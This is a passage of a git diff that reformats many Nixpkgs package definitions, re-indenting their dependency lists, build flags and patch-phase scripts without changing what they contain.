+    webkitgtk_4_0
+    # We add libqalculate's runtime dependencies because nasc has it as a modified subproject.
+  ]
+  ++ libqalculate.buildInputs
+  ++ libqalculate.propagatedBuildInputs;
 
   postPatch = ''
     chmod +x meson/post_install.py
diff --git a/pkgs/by-name/nb/nbd/package.nix b/pkgs/by-name/nb/nbd/package.nix
index 9a3c6b02540a..f05bbc697327 100644
--- a/pkgs/by-name/nb/nbd/package.nix
+++ b/pkgs/by-name/nb/nbd/package.nix
@@ -37,15 +37,14 @@ stdenv.mkDerivation rec {
     bison
   ];
 
-  buildInputs =
-    [
-      glib
-      gnutls
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libnl
-      linuxHeaders
-    ];
+  buildInputs = [
+    glib
+    gnutls
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libnl
+    linuxHeaders
+  ];
 
   configureFlags = [
     "--sysconfdir=/etc"
diff --git a/pkgs/by-name/nb/nbench/package.nix b/pkgs/by-name/nb/nbench/package.nix
index abb8c5a3747e..ae1d27a1e9cb 100644
--- a/pkgs/by-name/nb/nbench/package.nix
+++ b/pkgs/by-name/nb/nbench/package.nix
@@ -13,14 +13,13 @@ stdenv.mkDerivation rec {
     sha256 = "1b01j7nmm3wd92ngvsmn2sbw43sl9fpx4xxmkrink68fz1rx0gbj";
   };
 
-  prePatch =
-    ''
-      substituteInPlace nbench1.h --replace '"NNET.DAT"' "\"$out/NNET.DAT\""
-      substituteInPlace sysspec.h --replace "malloc.h" "stdlib.h"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile --replace "-static" ""
-    '';
+  prePatch = ''
+    substituteInPlace nbench1.h --replace '"NNET.DAT"' "\"$out/NNET.DAT\""
+    substituteInPlace sysspec.h --replace "malloc.h" "stdlib.h"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile --replace "-static" ""
+  '';
 
   buildInputs = lib.optionals stdenv.hostPlatform.isGnu [
     stdenv.cc.libc.static
diff --git a/pkgs/by-name/nb/nbstripout/package.nix b/pkgs/by-name/nb/nbstripout/package.nix
index 4978722e6382..214d06aa3241 100644
--- a/pkgs/by-name/nb/nbstripout/package.nix
+++ b/pkgs/by-name/nb/nbstripout/package.nix
@@ -28,15 +28,14 @@ python3.pkgs.buildPythonApplication rec {
     nbformat
   ];
 
-  nativeCheckInputs =
-    [
-      coreutils
-      gitMinimal
-      mercurial
-    ]
-    ++ (with python3.pkgs; [
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    coreutils
+    gitMinimal
+    mercurial
+  ]
+  ++ (with python3.pkgs; [
+    pytestCheckHook
+  ]);
 
   checkInputs = [
     testAssets
diff --git a/pkgs/by-name/nc/ncmpcpp/package.nix b/pkgs/by-name/nc/ncmpcpp/package.nix
index c1d7673f6884..d9343c17ccc7 100644
--- a/pkgs/by-name/nc/ncmpcpp/package.nix
+++ b/pkgs/by-name/nc/ncmpcpp/package.nix
@@ -52,28 +52,26 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      boost
-      libmpdclient
-      ncurses
-      readline
-      libiconv
-      icu
-      curl
-    ]
-    ++ lib.optional visualizerSupport fftw
-    ++ lib.optional taglibSupport taglib;
+  buildInputs = [
+    boost
+    libmpdclient
+    ncurses
+    readline
+    libiconv
+    icu
+    curl
+  ]
+  ++ lib.optional visualizerSupport fftw
+  ++ lib.optional taglibSupport taglib;
 
-  preConfigure =
-    ''
-      autoreconf -fiv
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # std::result_of was removed in c++20 and unusable for clang16
-      substituteInPlace ./configure \
-        --replace-fail "std=c++20" "std=c++17"
-    '';
+  preConfigure = ''
+    autoreconf -fiv
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # std::result_of was removed in c++20 and unusable for clang16
+    substituteInPlace ./configure \
+      --replace-fail "std=c++20" "std=c++17"
+  '';
 
   meta = {
     description = "Featureful ncurses based MPD client inspired by ncmpc";
diff --git a/pkgs/by-name/nc/ncnn/package.nix b/pkgs/by-name/nc/ncnn/package.nix
index ed6f8616bafc..810f88acc62b 100644
--- a/pkgs/by-name/nc/ncnn/package.nix
+++ b/pkgs/by-name/nc/ncnn/package.nix
@@ -25,19 +25,18 @@ stdenv.mkDerivation rec {
     ./cmakelists.patch
   ];
 
-  cmakeFlags =
-    [
-      "-DNCNN_CMAKE_VERBOSE=1" # Only for debugging the build
-      "-DNCNN_SHARED_LIB=1"
-      "-DNCNN_ENABLE_LTO=1"
-      "-DNCNN_VULKAN=1"
-      "-DNCNN_BUILD_EXAMPLES=0"
-      "-DNCNN_BUILD_TOOLS=0"
-      "-DNCNN_SYSTEM_GLSLANG=1"
-      "-DNCNN_PYTHON=0" # Should be an attribute
-    ]
-    # Requires setting `Vulkan_LIBRARY` on Darwin. Otherwise the build fails due to missing symbols.
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DVulkan_LIBRARY=-lvulkan" ];
+  cmakeFlags = [
+    "-DNCNN_CMAKE_VERBOSE=1" # Only for debugging the build
+    "-DNCNN_SHARED_LIB=1"
+    "-DNCNN_ENABLE_LTO=1"
+    "-DNCNN_VULKAN=1"
+    "-DNCNN_BUILD_EXAMPLES=0"
+    "-DNCNN_BUILD_TOOLS=0"
+    "-DNCNN_SYSTEM_GLSLANG=1"
+    "-DNCNN_PYTHON=0" # Should be an attribute
+  ]
+  # Requires setting `Vulkan_LIBRARY` on Darwin. Otherwise the build fails due to missing symbols.
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DVulkan_LIBRARY=-lvulkan" ];
 
   nativeBuildInputs = [ cmake ];
   buildInputs = [
diff --git a/pkgs/by-name/nc/ncspot/package.nix b/pkgs/by-name/nc/ncspot/package.nix
index 78e6958f4acf..1f30a2a9be02 100644
--- a/pkgs/by-name/nc/ncspot/package.nix
+++ b/pkgs/by-name/nc/ncspot/package.nix
@@ -46,16 +46,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optional withClipboard python3;
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optional stdenv.hostPlatform.isLinux openssl
-    ++ lib.optional (withALSA || withRodio) alsa-lib
-    ++ lib.optional withClipboard libxcb
-    ++ lib.optional withCover ueberzug
-    ++ lib.optional (withMPRIS || withNotify) dbus
-    ++ lib.optional withNcurses ncurses
-    ++ lib.optional withPortAudio portaudio
-    ++ lib.optional withPulseAudio libpulseaudio;
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux openssl
+  ++ lib.optional (withALSA || withRodio) alsa-lib
+  ++ lib.optional withClipboard libxcb
+  ++ lib.optional withCover ueberzug
+  ++ lib.optional (withMPRIS || withNotify) dbus
+  ++ lib.optional withNcurses ncurses
+  ++ lib.optional withPortAudio portaudio
+  ++ lib.optional withPulseAudio libpulseaudio;
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-DNCURSES_UNCTRL_H_incl";
 
diff --git a/pkgs/by-name/nd/ndcurves/package.nix b/pkgs/by-name/nd/ndcurves/package.nix
index f61f5a1d179f..1e796003d29c 100644
--- a/pkgs/by-name/nd/ndcurves/package.nix
+++ b/pkgs/by-name/nd/ndcurves/package.nix
@@ -29,35 +29,34 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pythonImportsCheckHook
-    ];
-  propagatedBuildInputs =
-    [ jrl-cmakemodules ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.eigenpy
-      python3Packages.pinocchio
-    ]
-    ++ lib.optional (!pythonSupport) pinocchio;
+  nativeBuildInputs = [
+    cmake
+    doxygen
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pythonImportsCheckHook
+  ];
+  propagatedBuildInputs = [
+    jrl-cmakemodules
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.eigenpy
+    python3Packages.pinocchio
+  ]
+  ++ lib.optional (!pythonSupport) pinocchio;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
-      (lib.cmakeBool "CURVES_WITH_PINOCCHIO_SUPPORT" true)
-    ]
-    ++ lib.optional stdenv.hostPlatform.isAarch64 (
-      lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'curves_tests|python-curves'"
-    )
-    ++ lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) (
-      lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'test-so3-smooth'"
-    );
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
+    (lib.cmakeBool "CURVES_WITH_PINOCCHIO_SUPPORT" true)
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 (
+    lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'curves_tests|python-curves'"
+  )
+  ++ lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) (
+    lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'test-so3-smooth'"
+  );
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ne/neko/package.nix b/pkgs/by-name/ne/neko/package.nix
index ee69504c27fe..13c4b99a9d1f 100644
--- a/pkgs/by-name/ne/neko/package.nix
+++ b/pkgs/by-name/ne/neko/package.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation rec {
     mbedtls_2
     openssl
     libpthreadstubs
-  ] ++ lib.optional stdenv.hostPlatform.isLinux gtk2;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux gtk2;
   cmakeFlags = [ "-DRUN_LDCONFIG=OFF" ];
   env = lib.optionalAttrs stdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
diff --git a/pkgs/by-name/ne/neomutt/package.nix b/pkgs/by-name/ne/neomutt/package.nix
index 3540be19f81d..82eedbae1c27 100644
--- a/pkgs/by-name/ne/neomutt/package.nix
+++ b/pkgs/by-name/ne/neomutt/package.nix
@@ -51,23 +51,22 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-30uagr4Z748U34yaTpw0lqxifuMlQRqccuZHKpbkXVE=";
   };
 
-  buildInputs =
-    [
-      cyrus_sasl
-      gss
-      gpgme
-      libkrb5
-      libidn2
-      ncurses
-      openssl
-      perl
-      lmdb
-      mailcap
-      sqlite
-    ]
-    ++ lib.optional enableZstd zstd
-    ++ lib.optional enableLua lua
-    ++ lib.optional withNotmuch notmuch;
+  buildInputs = [
+    cyrus_sasl
+    gss
+    gpgme
+    libkrb5
+    libidn2
+    ncurses
+    openssl
+    perl
+    lmdb
+    mailcap
+    sqlite
+  ]
+  ++ lib.optional enableZstd zstd
+  ++ lib.optional enableLua lua
+  ++ lib.optional withNotmuch notmuch;
 
   nativeBuildInputs = [
     docbook_xsl
@@ -103,37 +102,35 @@ stdenv.mkDerivation (finalAttrs: {
       --replace /etc/mime.types ${mailcap}/etc/mime.types
   '';
 
-  configureFlags =
-    [
-      "--enable-autocrypt"
-      "--gpgme"
-      "--gss"
-      "--lmdb"
-      "--ssl"
-      "--sasl"
-      "--with-homespool=mailbox"
-      "--with-mailpath="
-      # To make it not reference .dev outputs. See:
-      # https://github.com/neomutt/neomutt/pull/2367
-      "--disable-include-path-in-cflags"
-      "--zlib"
-    ]
-    ++ lib.optional enableZstd "--zstd"
-    ++ lib.optional enableLua "--lua"
-    ++ lib.optional withNotmuch "--notmuch";
+  configureFlags = [
+    "--enable-autocrypt"
+    "--gpgme"
+    "--gss"
+    "--lmdb"
+    "--ssl"
+    "--sasl"
+    "--with-homespool=mailbox"
+    "--with-mailpath="
+    # To make it not reference .dev outputs. See:
+    # https://github.com/neomutt/neomutt/pull/2367
+    "--disable-include-path-in-cflags"
+    "--zlib"
+  ]
+  ++ lib.optional enableZstd "--zstd"
+  ++ lib.optional enableLua "--lua"
+  ++ lib.optional withNotmuch "--notmuch";
 
-  postInstall =
-    ''
-      wrapProgram "$out/bin/neomutt" --prefix PATH : "$out/libexec/neomutt"
-    ''
-    + lib.optionalString enableSmimeKeys ''
-      install -m 755 $src/contrib/smime_keys $out/bin;
-      substituteInPlace $out/bin/smime_keys \
-        --replace-fail '/usr/bin/openssl' '${openssl}/bin/openssl';
-    ''
-    # https://github.com/neomutt/neomutt-contrib
-    # Contains vim-keys, keybindings presets and more.
-    + lib.optionalString withContrib "${lib.getExe lndir} ${finalAttrs.passthru.contrib} $out/share/doc/neomutt";
+  postInstall = ''
+    wrapProgram "$out/bin/neomutt" --prefix PATH : "$out/libexec/neomutt"
+  ''
+  + lib.optionalString enableSmimeKeys ''
+    install -m 755 $src/contrib/smime_keys $out/bin;
+    substituteInPlace $out/bin/smime_keys \
+      --replace-fail '/usr/bin/openssl' '${openssl}/bin/openssl';
+  ''
+  # https://github.com/neomutt/neomutt-contrib
+  # Contains vim-keys, keybindings presets and more.
+  + lib.optionalString withContrib "${lib.getExe lndir} ${finalAttrs.passthru.contrib} $out/share/doc/neomutt";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ne/neon/package.nix b/pkgs/by-name/ne/neon/package.nix
index a0646d91e211..2d11fa1e0262 100644
--- a/pkgs/by-name/ne/neon/package.nix
+++ b/pkgs/by-name/ne/neon/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     libxml2
     openssl
     bash
-  ] ++ lib.optional compressionSupport zlib;
+  ]
+  ++ lib.optional compressionSupport zlib;
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/ne/neovide/package.nix b/pkgs/by-name/ne/neovide/package.nix
index 924dd60f6743..2e99726f6af9 100644
--- a/pkgs/by-name/ne/neovide/package.nix
+++ b/pkgs/by-name/ne/neovide/package.nix
@@ -64,16 +64,15 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } (finalAttrs: {
   SKIA_GN_COMMAND = "${gn}/bin/gn";
   SKIA_NINJA_COMMAND = "${ninja}/bin/ninja";
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config
-      python3 # skia
-      removeReferencesTo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools.libtool
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+    python3 # skia
+    removeReferencesTo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools.libtool
+  ];
 
   nativeCheckInputs = [ neovim ];
 
diff --git a/pkgs/by-name/ne/neovim-qt-unwrapped/package.nix b/pkgs/by-name/ne/neovim-qt-unwrapped/package.nix
index 197ff546f6b6..84bd4936ad78 100644
--- a/pkgs/by-name/ne/neovim-qt-unwrapped/package.nix
+++ b/pkgs/by-name/ne/neovim-qt-unwrapped/package.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation (finalAttrs: {
     libsForQt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      neovim.unwrapped # only used to generate help tags at build time
-      libsForQt5.qtbase
-      libsForQt5.qtsvg
-    ]
-    ++ (with python3Packages; [
-      jinja2
-      python
-      msgpack
-    ]);
+  buildInputs = [
+    neovim.unwrapped # only used to generate help tags at build time
+    libsForQt5.qtbase
+    libsForQt5.qtsvg
+  ]
+  ++ (with python3Packages; [
+    jinja2
+    python
+    msgpack
+  ]);
 
   preCheck = ''
     # The GUI tests require a running X server, disable them
diff --git a/pkgs/by-name/ne/neovim-unwrapped/package.nix b/pkgs/by-name/ne/neovim-unwrapped/package.nix
index 2c22d7a2a4de..2bf333d3d6b7 100644
--- a/pkgs/by-name/ne/neovim-unwrapped/package.nix
+++ b/pkgs/by-name/ne/neovim-unwrapped/package.nix
@@ -130,23 +130,22 @@ stdenv.mkDerivation (
         };
       };
 
-    buildInputs =
-      [
-        libuv
-        # This is actually a c library, hence it's not included in neovimLuaEnv,
-        # see:
-        # https://github.com/luarocks/luarocks/issues/1402#issuecomment-1080616570
-        # and it's definition at: pkgs/development/lua-modules/overrides.nix
-        lua.pkgs.libluv
-        neovimLuaEnv
-        tree-sitter
-        unibilium
-        utf8proc
-      ]
-      ++ lib.optionals finalAttrs.finalPackage.doCheck [
-        glibcLocales
-        procps
-      ];
+    buildInputs = [
+      libuv
+      # This is actually a c library, hence it's not included in neovimLuaEnv,
+      # see:
+      # https://github.com/luarocks/luarocks/issues/1402#issuecomment-1080616570
+      # and it's definition at: pkgs/development/lua-modules/overrides.nix
+      lua.pkgs.libluv
+      neovimLuaEnv
+      tree-sitter
+      unibilium
+      utf8proc
+    ]
+    ++ lib.optionals finalAttrs.finalPackage.doCheck [
+      glibcLocales
+      procps
+    ];
 
     doCheck = false;
 
@@ -190,46 +189,44 @@ stdenv.mkDerivation (
     # check that the above patching actually works
     disallowedRequisites = [ stdenv.cc ] ++ lib.optional (lua != codegenLua) codegenLua;
 
-    cmakeFlags =
-      [
-        # Don't use downloaded dependencies. At the end of the configurePhase one
-        # can spot that cmake says this option was "not used by the project".
-        # That's because all dependencies were found and
-        # third-party/CMakeLists.txt is not read at all.
-        (lib.cmakeBool "USE_BUNDLED" false)
-        (lib.cmakeBool "ENABLE_TRANSLATIONS" true)
-      ]
-      ++ (
-        if lua.pkgs.isLuaJIT then
-          [
-            (lib.cmakeFeature "LUAC_PRG" "${lib.getExe' codegenLua "luajit"} -b -s %s -")
-            (lib.cmakeFeature "LUA_GEN_PRG" (lib.getExe' codegenLua "luajit"))
-            (lib.cmakeFeature "LUA_PRG" (lib.getExe' neovimLuaEnvOnBuild "luajit"))
-          ]
-        else
-          [
-            (lib.cmakeBool "PREFER_LUA" true)
-          ]
-      );
+    cmakeFlags = [
+      # Don't use downloaded dependencies. At the end of the configurePhase one
+      # can spot that cmake says this option was "not used by the project".
+      # That's because all dependencies were found and
+      # third-party/CMakeLists.txt is not read at all.
+      (lib.cmakeBool "USE_BUNDLED" false)
+      (lib.cmakeBool "ENABLE_TRANSLATIONS" true)
+    ]
+    ++ (
+      if lua.pkgs.isLuaJIT then
+        [
+          (lib.cmakeFeature "LUAC_PRG" "${lib.getExe' codegenLua "luajit"} -b -s %s -")
+          (lib.cmakeFeature "LUA_GEN_PRG" (lib.getExe' codegenLua "luajit"))
+          (lib.cmakeFeature "LUA_PRG" (lib.getExe' neovimLuaEnvOnBuild "luajit"))
+        ]
+      else
+        [
+          (lib.cmakeBool "PREFER_LUA" true)
+        ]
+    );
 
-    preConfigure =
-      ''
-        mkdir -p $out/lib/nvim/parser
-      ''
-      + lib.concatStrings (
-        lib.mapAttrsToList (language: grammar: ''
-          ln -s \
-            ${
-              tree-sitter.buildGrammar {
-                inherit (grammar) src;
-                version = "neovim-${finalAttrs.version}";
-                language = grammar.language or language;
-                location = grammar.location or null;
-              }
-            }/parser \
-            $out/lib/nvim/parser/${language}.so
-        '') finalAttrs.treesitter-parsers
-      );
+    preConfigure = ''
+      mkdir -p $out/lib/nvim/parser
+    ''
+    + lib.concatStrings (
+      lib.mapAttrsToList (language: grammar: ''
+        ln -s \
+          ${
+            tree-sitter.buildGrammar {
+              inherit (grammar) src;
+              version = "neovim-${finalAttrs.version}";
+              language = grammar.language or language;
+              location = grammar.location or null;
+            }
+          }/parser \
+          $out/lib/nvim/parser/${language}.so
+      '') finalAttrs.treesitter-parsers
+    );
 
     shellHook = ''
       export VIMRUNTIME=$PWD/runtime
diff --git a/pkgs/by-name/ne/net-snmp/package.nix b/pkgs/by-name/ne/net-snmp/package.nix
index c1ad4ea5d064..1ca822f95558 100644
--- a/pkgs/by-name/ne/net-snmp/package.nix
+++ b/pkgs/by-name/ne/net-snmp/package.nix
@@ -65,7 +65,8 @@ stdenv.mkDerivation rec {
     "--with-openssl=${openssl.dev}"
     "--disable-embedded-perl"
     "--without-perl-modules"
-  ] ++ lib.optional stdenv.hostPlatform.isLinux "--with-mnttab=/proc/mounts";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "--with-mnttab=/proc/mounts";
 
   postPatch = ''
     substituteInPlace testing/fulltests/support/simple_TESTCONF.sh --replace "/bin/netstat" "${nettools}/bin/netstat"
diff --git a/pkgs/by-name/ne/netcdf/package.nix b/pkgs/by-name/ne/netcdf/package.nix
index b9bfa0de107e..281030e06f63 100644
--- a/pkgs/by-name/ne/netcdf/package.nix
+++ b/pkgs/by-name/ne/netcdf/package.nix
@@ -46,17 +46,16 @@ stdenv.mkDerivation rec {
     libxml2 # xml2-config
   ];
 
-  buildInputs =
-    [
-      curl
-      hdf5
-      libxml2
-      bzip2
-      libzip
-      zstd
-    ]
-    ++ lib.optional szipSupport szip
-    ++ lib.optional mpiSupport mpi;
+  buildInputs = [
+    curl
+    hdf5
+    libxml2
+    bzip2
+    libzip
+    zstd
+  ]
+  ++ lib.optional szipSupport szip
+  ++ lib.optional mpiSupport mpi;
 
   strictDeps = true;
 
@@ -69,18 +68,17 @@ stdenv.mkDerivation rec {
     # tracked upstream here: https://github.com/Unidata/netcdf-c/issues/2715
     lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
 
-  configureFlags =
-    [
-      "--enable-netcdf-4"
-      "--enable-dap"
-      "--enable-shared"
-      "--disable-dap-remote-tests"
-      "--with-plugin-dir=${placeholder "out"}/lib/hdf5-plugins"
-    ]
-    ++ (lib.optionals mpiSupport [
-      "--enable-parallel-tests"
-      "CC=${lib.getDev mpi}/bin/mpicc"
-    ]);
+  configureFlags = [
+    "--enable-netcdf-4"
+    "--enable-dap"
+    "--enable-shared"
+    "--disable-dap-remote-tests"
+    "--with-plugin-dir=${placeholder "out"}/lib/hdf5-plugins"
+  ]
+  ++ (lib.optionals mpiSupport [
+    "--enable-parallel-tests"
+    "CC=${lib.getDev mpi}/bin/mpicc"
+  ]);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ne/netease-cloud-music-gtk/package.nix b/pkgs/by-name/ne/netease-cloud-music-gtk/package.nix
index a1b01ba9a057..6d10694c2a63 100644
--- a/pkgs/by-name/ne/netease-cloud-music-gtk/package.nix
+++ b/pkgs/by-name/ne/netease-cloud-music-gtk/package.nix
@@ -52,20 +52,19 @@ stdenv.mkDerivation (finalAttrs: {
     libxml2
   ];
 
-  buildInputs =
-    [
-      openssl
-      dbus
-      libadwaita
-      glib-networking
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    openssl
+    dbus
+    libadwaita
+    glib-networking
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   meta = {
     description = "Rust + GTK based netease cloud music player";
diff --git a/pkgs/by-name/ne/netgen/package.nix b/pkgs/by-name/ne/netgen/package.nix
index e89f9ad4d972..4aae2667dcea 100644
--- a/pkgs/by-name/ne/netgen/package.nix
+++ b/pkgs/by-name/ne/netgen/package.nix
@@ -73,27 +73,26 @@ stdenv.mkDerivation (finalAttrs: {
 
   # when generating python stub file utilizing system python pybind11_stubgen module
   # cmake need to inherit pythonpath
-  postPatch =
-    ''
-      sed -i '/-DBDIR=''\'''${CMAKE_CURRENT_BINARY_DIR}/a\
-      -DNETGEN_VERSION_GIT=''\'''${NETGEN_VERSION_GIT}
-      ' CMakeLists.txt
+  postPatch = ''
+    sed -i '/-DBDIR=''\'''${CMAKE_CURRENT_BINARY_DIR}/a\
+    -DNETGEN_VERSION_GIT=''\'''${NETGEN_VERSION_GIT}
+    ' CMakeLists.txt
 
-      substituteInPlace python/CMakeLists.txt \
-        --replace-fail ''\'''${CMAKE_INSTALL_PREFIX}/''${NG_INSTALL_DIR_PYTHON}' \
-                       ''\'''${CMAKE_INSTALL_PREFIX}/''${NG_INSTALL_DIR_PYTHON}:$ENV{PYTHONPATH}'
+    substituteInPlace python/CMakeLists.txt \
+      --replace-fail ''\'''${CMAKE_INSTALL_PREFIX}/''${NG_INSTALL_DIR_PYTHON}' \
+                     ''\'''${CMAKE_INSTALL_PREFIX}/''${NG_INSTALL_DIR_PYTHON}:$ENV{PYTHONPATH}'
 
-      substituteInPlace ng/ng.tcl ng/onetcl.cpp \
-        --replace-fail "libnggui" "$out/lib/libnggui"
+    substituteInPlace ng/ng.tcl ng/onetcl.cpp \
+      --replace-fail "libnggui" "$out/lib/libnggui"
 
-      substituteInPlace ng/Togl2.1/CMakeLists.txt \
-        --replace-fail "/usr/bin/gcc" "$CC"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
-      # mesh generation differs on x86_64 and aarch64 platform
-      # test_tutorials will fail on aarch64 platform
-      rm tests/pytest/test_tutorials.py
-    '';
+    substituteInPlace ng/Togl2.1/CMakeLists.txt \
+      --replace-fail "/usr/bin/gcc" "$CC"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
+    # mesh generation differs on x86_64 and aarch64 platform
+    # test_tutorials will fail on aarch64 platform
+    rm tests/pytest/test_tutorials.py
+  '';
 
   nativeBuildInputs = [
     libicns
@@ -101,7 +100,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     python3Packages.pybind11-stubgen
     python3Packages.pythonImportsCheckHook
-  ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
     metis
diff --git a/pkgs/by-name/ne/netlify-cli/test.nix b/pkgs/by-name/ne/netlify-cli/test.nix
index 5c2608fb094c..2d311105a094 100644
--- a/pkgs/by-name/ne/netlify-cli/test.nix
+++ b/pkgs/by-name/ne/netlify-cli/test.nix
@@ -9,14 +9,13 @@
 
 runCommand "netlify-cli-test"
   {
-    nativeBuildInputs =
-      [
-        netlify-cli
-        curl
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        darwin.ps
-      ];
+    nativeBuildInputs = [
+      netlify-cli
+      curl
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      darwin.ps
+    ];
     meta.timeout = 600;
   }
   ''
diff --git a/pkgs/by-name/ne/netpbm/package.nix b/pkgs/by-name/ne/netpbm/package.nix
index 17ead201a98a..a6c1522d9eb3 100644
--- a/pkgs/by-name/ne/netpbm/package.nix
+++ b/pkgs/by-name/ne/netpbm/package.nix
@@ -49,7 +49,8 @@ stdenv.mkDerivation rec {
     libxml2
     libtiff
     jbigkit
-  ] ++ lib.optional enableX11 libX11;
+  ]
+  ++ lib.optional enableX11 libX11;
 
   strictDeps = true;
 
@@ -64,43 +65,42 @@ stdenv.mkDerivation rec {
       --replace '/sharedlink' '/lib'
   '';
 
-  configurePhase =
-    ''
-      runHook preConfigure
+  configurePhase = ''
+    runHook preConfigure
 
-      cp config.mk.in config.mk
+    cp config.mk.in config.mk
 
-      # Disable building static library
-      echo "STATICLIB_TOO = N" >> config.mk
+    # Disable building static library
+    echo "STATICLIB_TOO = N" >> config.mk
 
-      # Enable cross-compilation
-      echo 'AR = ${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ar' >> config.mk
-      echo 'CC = ${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc' >> config.mk
-      echo 'CC_FOR_BUILD = ${buildPackages.stdenv.cc}/bin/${buildPackages.stdenv.cc.targetPrefix}cc' >> config.mk
-      echo 'LD_FOR_BUILD = $(CC_FOR_BUILD)' >> config.mk
-      echo 'PKG_CONFIG = ${buildPackages.pkg-config}/bin/${buildPackages.pkg-config.targetPrefix}pkg-config' >> config.mk
-      echo 'RANLIB = ${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ranlib' >> config.mk
+    # Enable cross-compilation
+    echo 'AR = ${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ar' >> config.mk
+    echo 'CC = ${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc' >> config.mk
+    echo 'CC_FOR_BUILD = ${buildPackages.stdenv.cc}/bin/${buildPackages.stdenv.cc.targetPrefix}cc' >> config.mk
+    echo 'LD_FOR_BUILD = $(CC_FOR_BUILD)' >> config.mk
+    echo 'PKG_CONFIG = ${buildPackages.pkg-config}/bin/${buildPackages.pkg-config.targetPrefix}pkg-config' >> config.mk
+    echo 'RANLIB = ${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ranlib' >> config.mk
 
-      # Use libraries from Nixpkgs
-      echo "TIFFLIB = libtiff.so" >> config.mk
-      echo "TIFFLIB_NEEDS_JPEG = N" >> config.mk
-      echo "TIFFLIB_NEEDS_Z = N" >> config.mk
-      echo "JPEGLIB = libjpeg.so" >> config.mk
-      echo "JBIGLIB = libjbig.a" >> config.mk
-      # Insecure
-      echo "JASPERLIB = NONE" >> config.mk
+    # Use libraries from Nixpkgs
+    echo "TIFFLIB = libtiff.so" >> config.mk
+    echo "TIFFLIB_NEEDS_JPEG = N" >> config.mk
+    echo "TIFFLIB_NEEDS_Z = N" >> config.mk
+    echo "JPEGLIB = libjpeg.so" >> config.mk
+    echo "JBIGLIB = libjbig.a" >> config.mk
+    # Insecure
+    echo "JASPERLIB = NONE" >> config.mk
 
-      # Fix path to rgb.txt
